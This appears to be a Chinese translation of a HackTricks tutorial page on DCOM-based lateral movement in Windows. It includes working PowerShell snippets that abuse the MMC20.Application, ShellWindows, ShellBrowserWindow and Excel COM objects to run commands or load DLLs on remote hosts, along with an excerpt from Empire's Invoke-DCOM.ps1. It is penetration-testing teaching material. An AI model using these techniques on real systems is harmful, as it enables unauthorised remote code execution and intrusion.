hacktricks/windows-hardening/lateral-movement/dcom-exec.md
2023-08-03 19:12:22 +00:00

12 KiB
Raw Blame History

DCOM Exec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

MMC20.Application

DCOM(分布式组件对象模型)对象由于能够通过网络与对象进行交互而变得有趣。微软在DCOM 这里 和 COM 这里 有一些很好的文档。您可以使用PowerShell找到一个可靠的DCOM应用程序列表运行Get-CimInstance Win32_DCOMApplication

MMC Application Class (MMC20.Application) COM对象允许您脚本化MMC插件操作的组件。在枚举此COM对象中的不同方法和属性时我注意到在Document.ActiveView下有一个名为ExecuteShellCommand的方法。

您可以在这里阅读有关该方法的更多信息。到目前为止我们有一个可以通过网络访问并执行命令的DCOM应用程序。最后一步是利用这个DCOM应用程序和ExecuteShellCommand方法在远程主机上获得代码执行。

幸运的是作为管理员您可以使用PowerShell远程与DCOM进行交互只需使用“[activator]::CreateInstance([type]::GetTypeFromProgID”。您只需要提供一个DCOM ProgID和一个IP地址。然后它将远程提供给您该COM对象的一个实例

然后,可以调用ExecuteShellCommand方法在远程主机上启动进程:

ShellWindows和ShellBrowserWindow

MMC20.Application对象缺少显式的“LaunchPermissions”,导致默认权限集允许管理员访问:

您可以在这里阅读更多关于该线程的信息。
使用@tiraniddoOleView .NET可以查看没有显式LaunchPermission设置的其他对象它具有出色的Python过滤器以及其他功能。在这种情况下我们可以将过滤器缩小到所有没有显式Launch Permission的对象。这样做时我注意到两个对象ShellBrowserWindowShellWindows

识别潜在目标对象的另一种方法是查找HKCR:\AppID\{guid}中缺少LaunchPermission值的键。具有设置了Launch Permissions的对象将如下所示其中数据表示对象的二进制格式的ACL

没有显式LaunchPermission设置的对象将缺少该特定的注册表项。

ShellWindows

首先探索的对象是ShellWindows。由于此对象没有与之关联的ProgID,我们可以使用Type.GetTypeFromCLSID .NET方法配对Activator.CreateInstance方法通过其AppID在远程主机上实例化对象。为此我们需要获取ShellWindows对象的CLSID也可以使用OleView .NET完成

shellwindow_classid

如下所示“Launch Permission”字段为空表示没有设置显式权限。

screen-shot-2017-01-23-at-4-12-24-pm

现在我们有了CLSID可以在远程目标上实例化对象

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)

在远程主机上实例化对象后,我们可以与其进行交互并调用任何方法。返回的对象句柄显示了几个方法和属性,但我们无法与其交互。为了实现与远程主机的实际交互,我们需要访问WindowsShell.Item方法该方法将返回表示Windows shell窗口的对象

$item = $obj.Item()

掌握了Shell窗口的全部操作我们现在可以访问所有预期的公开方法/属性。在浏览这些方法后,Document.Application.ShellExecute 引起了我的注意。请确保按照该方法的参数要求进行操作,这些要求在这里有详细说明。

$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

如上所示,我们的命令已成功在远程主机上执行。

ShellBrowserWindow

这个特定的对象在Windows 7上不存在使得它在横向移动方面的使用比“ShellWindows”对象有些受限我在Win7-Win10上对其进行了测试并取得了成功。

根据我对该对象的枚举它似乎有效地提供了与前一个对象相同的资源管理器窗口接口。要实例化这个对象我们需要获取它的CLSID。与上面类似我们可以使用OleView .NET

shellbrowser_classid

再次注意空白的启动权限字段:

screen-shot-2017-01-23-at-4-13-52-pm

有了CLSID我们可以重复上一个对象上的步骤来实例化对象并调用相同的方法

$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)

正如你所看到的,命令在远程目标上成功执行。

由于该对象直接与Windows shell进行交互我们不需要调用“ShellWindows.Item”方法就像之前的对象一样。

虽然这两个DCOM对象可以用于在远程主机上运行shell命令但还有许多其他有趣的方法可以用于枚举或篡改远程目标。其中一些方法包括

  • Document.Application.ServiceStart()
  • Document.Application.ServiceStop()
  • Document.Application.IsServiceRunning()
  • Document.Application.ShutDownWindows()
  • Document.Application.GetSystemInformation()

ExcelDDE和RegisterXLL

以类似的方式可以滥用DCOM Excel对象进行横向移动获取更多信息请阅读https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

工具

Powershell脚本Invoke-DCOM.ps1可以轻松调用所有被注释的方法来在其他机器上执行代码。

参考资料

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥